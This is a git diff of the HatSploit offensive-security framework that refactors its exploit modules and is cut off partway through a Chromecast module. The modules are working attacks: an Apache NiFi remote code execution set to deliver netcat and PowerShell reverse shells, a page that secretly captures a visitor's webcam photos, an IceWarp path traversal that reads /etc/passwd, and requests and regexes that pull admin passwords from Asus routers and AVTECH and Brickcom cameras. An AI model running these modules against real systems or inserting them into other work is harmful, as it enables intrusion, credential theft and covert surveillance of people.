--- a/hatsploit/modules/exploit/linux/apache/nifi_api_rce.py
+++ b/hatsploit/modules/exploit/generic/apache/nifi_api_rce.py
@@ -3,27 +3,69 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Apache NiFi API Remote Code Execution",
-            'Module': "exploit/linux/apache/nifi_api_rce",
+            'Module': "exploit/generic/apache/nifi_api_rce",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+            ],
+            'Description': (
+                "Remote Code Execution in Apache NiFi component API."
+            ),
+            'Platform': OS_GENERIC,
+            'Rank': HIGH_RANK,
+            'Targets': {
+                'Apache NiFi 1.12.1, 1.12.1-RC2, and 1.20.0 (Linux)': {
+                    'Payload': {
+                        PayloadInlineMixin: {
+                            'Value': 'unix/generic/netcat_reverse_tcp',
+                            'Platform': [OS_LINUX, OS_UNIX],
+                            'Arch': [ARCH_GENERIC],
+                            'BadChars': '"',
+                        },
+                        PayloadDropMixin: {
+                            'Value': 'linux/x64/shell_reverse_tcp',
+                            'Platform': [OS_LINUX],
+                            'Arch': [ARCH_X86, ARCH_X64],
+                            'BadChars': '"',
+                        }
+                    }
+                },
+                'Apache NiFi 1.12.1, 1.12.1-RC2, and 1.20.0 (Windows)': {
+                    'Payload': {
+                        PayloadInlineMixin: {
+                            'Value': 'windows/generic/powershell_reverse_tcp',
+                            'Platform': [OS_WINDOWS],
+                            'Arch': [ARCH_GENERIC],
+                            'BadChars': '"',
+                        },
+                        PayloadDropMixin: {
+                            'Value': 'windows/x64/shell_reverse_tcp',
+                            'Platform': [OS_WINDOWS],
+                            'Arch': [ARCH_X86, ARCH_X64],
+                            'BadChars': '"',
+                        }
+                    }
+                }
+            },
+            'References': [
+                {'URL': 'https://nifi.apache.org/'},
+                {'URL': 'https://github.com/apache/nifi'},
+                {'URL': 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/'
+                        'org.apache.nifi.processors.standard.ExecuteProcess/index.html'}
             ],
-            'Description': "Remote Code Execution in Apache NiFi component API.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Payload': {
-                'Value': "unix/generic/netcat_reverse_tcp",
-                'Platforms': [OS_LINUX, OS_UNIX],
+            'DisclosureDate': "2020-10-03",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [IOC_IN_LOGS],
             }
         })
 
diff --git a/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py b/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py
index 5a2627d8f..761811333 100755
--- a/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py
+++ b/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py
@@ -4,32 +4,42 @@
 """
 
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 from pex.string import String
 
 
-class HatSploitModule(Module, HTTP, String):
+class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.loot = Loot()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Gather Browser Webcam Photo",
             'Module': "exploit/generic/gather/browser_webcam_photo",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Module takes photo through browser.",
+            'Description': (
+                "This module generates a webpage that if accessed tries to send "
+                "built-in camera image to an attacker."
+            ),
             'Platform': OS_GENERIC,
-            'Rank': "high",
+            'Rank': LOW_RANK,
+            'References': [
+                {'URL': 'https://blog.entysec.com/2022-03-13-webcam-photo-phishing/'}
+            ],
+            'DisclosureDate': "2022-03-13",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.urlpath = Option("/", "File path on server.", True)
-        self.path = Option(self.loot.random_loot('png'), "Path to save file.", True)
+        self.loot = Loot()
+
+        self.urlpath = Option('URLPATH', "/", "File path on server.", True)
+        self.path = Option('PATH', self.loot.random_loot('png'), "Path to save file.", True)
 
     def run(self):
         def get(request):
@@ -50,7 +60,7 @@ def post(request):
                 post_data = request.rfile.read(photo_length)
                 post_data = post_data.split(b',', 1)[1]
 
-                photo_data = self.base64_decode(post_data, False)
+                photo_data = String().base64_decode(post_data, False)
             except Exception:
                 self.print_error("Failed to take photo!")
                 return
diff --git a/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py b/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py
index 22b419608..3bbe025a9 100755
--- a/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py
+++ b/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py
@@ -4,33 +4,45 @@
 """
 
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP, Stream
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP, Stream
 
 from pex.string import String
 
 
-class HatSploitModule(Module, HTTP, Stream, String):
+class HatSploitModule(Module, HTTP, Stream):
     def __init__(self):
-        super().__init__()
-
-        self.loot = Loot()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Gather Browser Webcam Stream",
             'Module': "exploit/generic/gather/browser_webcam_stream",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Module streams webcam through browser.",
+            'Description': (
+                "This module generates a webpage that if accessed tries to send "
+                "built-in camera image to an attacker. Module streams received images "
+                "afterwards."
+            ),
             'Platform': OS_GENERIC,
-            'Rank': "medium",
+            'Rank': LOW_RANK,
+            'References': [
+                {'URL': 'https://blog.entysec.com/2022-03-13-webcam-photo-phishing/'}
+            ],
+            'DisclosureDate': "2022-03-13",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.urlpath = Option("/", "File path on server.", True)
-        self.path = Option(self.loot.random_loot('png'), "Path to save file.", True)
+        self.loot = Loot()
+
+        self.urlpath = Option('URLPATH', "/", "File path on server.", True)
+        self.path = Option('PATH', self.loot.random_loot('png'), "Path to save file.", True)
 
+    def __call__(self):
         self.html.set(self.loot.random_loot('html'))
 
     def run(self):
@@ -51,13 +63,13 @@ def post(request):
                 post_data = request.rfile.read(photo_length)
                 post_data = post_data.split(b',', 1)[1]
 
-                photo_data = self.base64_decode(post_data, False)
+                photo_data = String().base64_decode(post_data, False)
             except Exception:
                 return
 
             self.loot.save_file(self.path.value, photo_data, 'png')
 
-        client = self.open_stream(self.path.value)
+        client = self.open_stream(image=self.path.value)
 
         client.create_video()
         client.stream()
diff --git a/hatsploit/modules/exploit/generic/handler.py b/hatsploit/modules/exploit/generic/handler.py
new file mode 100644
index 000000000..48b769be2
--- /dev/null
+++ b/hatsploit/modules/exploit/generic/handler.py
@@ -0,0 +1,31 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+
+
+class HatSploitModule(Module, Handler):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "Generic Handler",
+            'Module': "exploit/generic/handler",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+            ],
+            'Description': "Handle any session.",
+            'Platform': OS_GENERIC,
+            'Rank': HIGH_RANK,
+        })
+
+    def run(self):
+        self.open_session(
+            self.module_handle_session(
+                type=self.payload.payload.info['Type'],
+                session=self.payload.payload.info.get(
+                    'Session', HatSploitSession),
+            ),
+            details=self.payload.payload.info
+        )
diff --git a/hatsploit/modules/exploit/generic/handler/bind_tcp.py b/hatsploit/modules/exploit/generic/handler/bind_tcp.py
deleted file mode 100755
index 2dedc7c65..000000000
--- a/hatsploit/modules/exploit/generic/handler/bind_tcp.py
+++ /dev/null
@@ -1,29 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-
-
-class HatSploitModule(Module, Handler):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Bind TCP Handler",
-            'Module': "exploit/generic/handler/bind_tcp",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-            ],
-            'Description': "Bind TCP Handler.",
-            'Platform': OS_GENERIC,
-            'Rank': "high",
-        })
-
-    def run(self):
-        remote = self.module_handle_session(
-            type='reverse_tcp',
-            session=self.payload.payload.details['Session'],
-        )
diff --git a/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py b/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py
new file mode 100755
index 000000000..35552f161
--- /dev/null
+++ b/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py
@@ -0,0 +1,71 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "IceWarp WebMail Path Traversal",
+            'Module': "exploit/generic/icewarp/webmail_path_traversal",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Jameel Nabbo (JameelNabbo) - vulnerability researcher",
+            ],
+            'Description': (
+                "IceWarp WebMail server has a vulnerability exploitation of which "
+                "leading to a path traversal."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Targets': {
+                'IceWarp <= 10.4.4 (Linux)': {
+                    'Postfix': '%2f'
+                },
+                'IceWarp <= 10.4.4 (Windows)': {
+                    'Postfix': '%5c'
+                }
+            },
+            'References': [
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2019-12593'},
+                {'URL': 'https://www.exploit-db.com/exploits/46959'},
+                {'CVE': '2019-12593'},
+                {'EDB': 46959}
+            ],
+            'DisclosureDate': "2019-06-03",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path='/webmail/calendar/minimizer/index.php',
+        )
+
+        if response and response.status_code == 200:
+            return True
+
+        return False
+
+    def run(self):
+        path = f"..{self.target['Postfix']}" * 8
+        response = self.http_request(
+            method="GET",
+            path=f'{path}{self.file.value}',
+        )
+
+        if response.text:
+            self.print_empty(f"\n{response.text}")
+        else:
+            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py b/hatsploit/modules/exploit/generic/shell_handler.py
old mode 100755
new mode 100644
similarity index 57%
rename from hatsploit/modules/exploit/generic/handler/reverse_tcp.py
rename to hatsploit/modules/exploit/generic/shell_handler.py
index 63c41b411..cf2c22582
--- a/hatsploit/modules/exploit/generic/handler/reverse_tcp.py
+++ b/hatsploit/modules/exploit/generic/shell_handler.py
@@ -3,23 +3,21 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
+from hatsploit.lib.core.module.basic import *
 
 
 class HatSploitModule(Module, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
-            'Name': "Reverse TCP Handler",
-            'Module': "exploit/generic/handler/reverse_tcp",
+            'Name': "Generic Handler",
+            'Module': "exploit/generic/shell_handler",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Reverse TCP Handler.",
+            'Description': "Handle any session.",
             'Platform': OS_GENERIC,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
         })
 
     def run(self):
@@ -30,5 +28,5 @@ def run(self):
 
         self.module_handle(
             sender=client[0].send_command,
-            on_session=client[0].close
+            on_session=client[0].close,
         )
diff --git a/hatsploit/modules/exploit/generic/ssh/server_code_execution.py b/hatsploit/modules/exploit/generic/ssh/server_code_execution.py
index 850c7d9f0..90a4d69d0 100755
--- a/hatsploit/modules/exploit/generic/ssh/server_code_execution.py
+++ b/hatsploit/modules/exploit/generic/ssh/server_code_execution.py
@@ -3,24 +3,36 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import SSH
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import SSH
 
 
 class HatSploitModule(Module, SSH, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "SSH Server Code Execution",
             'Module': "exploit/generic/ssh/server_code_execution",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Execute code on server with SSH enabled.",
+            'Description': (
+                "Execute code on server with SSH enabled."
+            ),
             'Platform': OS_GENERIC,
-            'Rank': "medium",
+            'Rank': HIGH_RANK,
+            'Payload': {
+                PayloadInlineMixin: {
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {}
+            },
+            'DisclosureDate': "2007-01-01",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
+            }
         })
 
     def run(self):
diff --git a/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py b/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py
index 51674d64a..0a19c7a4f 100755
--- a/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py
@@ -5,25 +5,32 @@
 
 import re
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
-            'Name': "3Com AP8670 Disclosure",
+            'Name': "3Com AP8670 Credentials Disclosure",
             'Module': "exploit/linux/3com/ap8670_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Richard Brain - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Richard Brain - vulnerability researcher",
             ],
-            'Description': "3Com AP8670 credentials disclosure exploit.",
+            'Description': (
+                "Module attempts to exploit a vulnerability that exists in 3Com AP8670 "
+                "and fetch credentials for administrator account."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'DisclosureDate': "2018-05-11",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
diff --git a/hatsploit/modules/exploit/linux/antiweb/path_traversal.py b/hatsploit/modules/exploit/linux/antiweb/path_traversal.py
index 997a3759b..8c5ff3dc2 100755
--- a/hatsploit/modules/exploit/linux/antiweb/path_traversal.py
+++ b/hatsploit/modules/exploit/linux/antiweb/path_traversal.py
@@ -3,29 +3,34 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Anti-Web Path Traversal",
             'Module': "exploit/linux/antiweb/path_traversal",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Bertin Jose - vulnerability researcher',
-                'Fernandez Ezequiel - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Bertin Jose - vulnerability researcher",
+                "Fernandez Ezequiel - vulnerability researcher",
             ],
-            'Description': "Path Traversal in Anti-Web v3.0.7 till v3.8.7.",
+            'Description': (
+                "Path Traversal in Anti-Web v3.0.7 till v3.8.7."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.file = Option("/etc/passwd", "File to read.", True)
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
 
     def check(self):
         response = self.http_request(
@@ -33,10 +38,10 @@ def check(self):
             path='/cgi-bin/write.cgi'
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py b/hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py
deleted file mode 100755
index 041785e22..000000000
--- a/hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py
+++ /dev/null
@@ -1,60 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-import re
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "Asus Multi Password Disclosure",
-            'Module': "exploit/linux/asus/multi_password_disclosure",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Harry Sintonen (piru) - vulnerability researcher',
-            ],
-            'Description': "Asus multiple devices password disclosure exploit.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.username = Option("admin", "Default username.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/error_page.htm'
-        )
-
-        if not response and response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path='/error_page.htm'
-        )
-
-        creds = re.findall(
-            r"if\('1' == '0' \|\| '(.+?)' == '" + self.username.value + r"'\)", response.text
-        )
-
-        if len(creds):
-            password = creds[0]
-            self.print_table(
-                "Credentials", ('Username', 'Password'), (self.username.value, password)
-            )
-        else:
-            self.print_warning(
-                f"Target vulnerable, but default username is not {self.username.value}."
-            )
diff --git a/hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py b/hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py
new file mode 100755
index 000000000..43c4cf575
--- /dev/null
+++ b/hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py
@@ -0,0 +1,78 @@
+"""
+This module requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+import re
+
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
+
+
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
+            'Category': "exploit",
+            'Name': "Asus RT-N16 Password Disclosure",
+            'Module': "exploit/linux/asus/rt_n16_password_disclosure",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Harry Sintonen (piru) - vulnerability researcher",
+            ],
+            'Description': (
+                "Asus RT-N16 router has a vulnerability exploitation of which "
+                "leading to a specific user (admin) password disclosure."
+            ),
+            'Platform': OS_LINUX,
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "ASUS RT-N10U, firmware 3.0.0.4.374_168",
+                "ASUS RT-N56U, firmware 3.0.0.4.374_979",
+                "ASUS DSL-N55U, firmware 3.0.0.4.374_1397",
+                "ASUS RT-AC66U, firmware 3.0.0.4.374_2050",
+                "ASUS RT-N15U, firmware 3.0.0.4.374_16",
+                "ASUS RT-N53, firmware 3.0.0.4.374_311"
+            ],
+            'References': [
+                {'URL': 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'}
+            ],
+            'DisclosureDate': "2013-03-29",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
+        })
+
+        self.username = Option('USER', "admin", "Default username.", True)
+
+    def check(self):
+        response = self.http_request(
+            method="GET",
+            path='/error_page.htm'
+        )
+
+        if not response and response.status_code != 200:
+            return False
+
+        return True
+
+    def run(self):
+        response = self.http_request(
+            method="GET",
+            path='/error_page.htm'
+        )
+
+        creds = re.findall(
+            r"if\('1' == '0' \|\| '(.+?)' == '" + self.username.value + r"'\)", response.text
+        )
+
+        if len(creds):
+            password = creds[0]
+            self.print_table(
+                "Credentials", ('Username', 'Password'), (self.username.value, password)
+            )
+        else:
+            self.print_warning(
+                f"Target vulnerable, but default username is not {self.username.value}."
+            )
diff --git a/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py b/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py
index 77ed4a294..7dafc2800 100755
--- a/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py
@@ -3,24 +3,35 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "AVTECH IP Camera Credentials Disclosure",
             'Module': "exploit/linux/avtech/ipcamera_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Gergely Eberhardt - vulnerability researcher"
             ],
-            'Description': "AVTECH IP Camera credentials disclosure.",
+            'Description': (
+                "AVTECH IP Camera / NVR / DVR devices credentials disclosure."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40500'},
+                {'EDB': 40500}
+            ],
+            'DisclosureDate': "2016-10-11",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -29,10 +40,10 @@ def check(self):
             path='/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py b/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py
index eea5f1dab..980636542 100755
--- a/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py
+++ b/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py
@@ -3,24 +3,33 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "AVTECH IP Camera Information Disclosure",
             'Module': "exploit/linux/avtech/ipcamera_information_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Gergely Eberhardt - vulnerability researcher"
             ],
-            'Description': "AVTECH IP Camera information disclosure exploit.",
+            'Description': "AVTECH IP Camera / NVR / DVR devices information disclosure.",
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40500'},
+                {'EDB': 40500}
+            ],
+            'DisclosureDate': "2016-10-11",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -29,10 +38,10 @@ def check(self):
             path='/cgi-bin/nobody/Machine.cgi?action=get_capability',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py b/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py
index 2aabd866a..76c4665a7 100755
--- a/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py
@@ -3,25 +3,51 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Brickcom Multi Credentials Disclosure",
             'Module': "exploit/linux/brickcom/multi_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Orwelllabs - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Orwelllabs - vulnerability researcher",
             ],
-            'Description': "Brickcom multiple devices credentials disclosure.",
+            'Description': (
+                "Brickcom multiple devices credentials disclosure."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12 (release:09/08/2010 14:46)",
+                "Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26 (release:01/21/2011 18:31)",
+                "Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise (release:2015-10-01_18:46:07)",
+                "Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T (release:2016-03-21_10:08:24)",
+                "Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T (release:2015-06-25_11:18:07)",
+                "Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R (release:2015-09-08_18:40:11)",
+                "Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-16_11:36:46)",
+                "Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-15_11:30:46)",
+                "Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR (release:2016-01-18_10:07:03)",
+                "Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version: v3.7.0.17A (release: 2015-07-10_11:36:41)",
+                "Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version: v3.7.0.18.3R (release: 2015-10-15_11:30:46)",
+                "Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8 (release:2013-08-01)",
+                "Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release: 09/07/2010 11:45)",
+                "Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R (release: 2015-08-19_18:47:31)",
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/39696/'},
+                {'EDB': 39696}
+            ],
+            'DisclosureDate': "2016-04-14",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -30,10 +56,10 @@ def check(self):
             path='/configfile.dump?action=get',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/chromecast/play_media_url.py b/hatsploit/modules/exploit/linux/chromecast/play_media_url.py
index 0fd5e0bb9..f8c967b3e 100644
--- a/hatsploit/modules/exploit/linux/chromecast/play_media_url.py
+++ b/hatsploit/modules/exploit/linux/chromecast/play_media_url.py
@@ -3,28 +3,34 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import Chromecast
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import Chromecast
 
 
 class HatSploitModule(Module, Chromecast):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Play Media URL on Chromecast",
             'Module': "exploit/linux/chromecast/play_media_url",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer'
+                "Ivan Nikolskiy (enty8080) - module developer"
             ],
-            'Description': "Chromecast allows unauthorized users to play media URL.",
+            'Description': (
+                "Chromecast allows unauthorized users to play media URL."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "low",
+            'Rank': LOW_RANK,
+            'DisclosureDate': "2023-09-16",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.url = Option(None, "Media URL.", True)
-        self.type = Option("video/mp4", "Type of media file.", True)
+        self.url = Option('URL', None, "Media URL.", True)
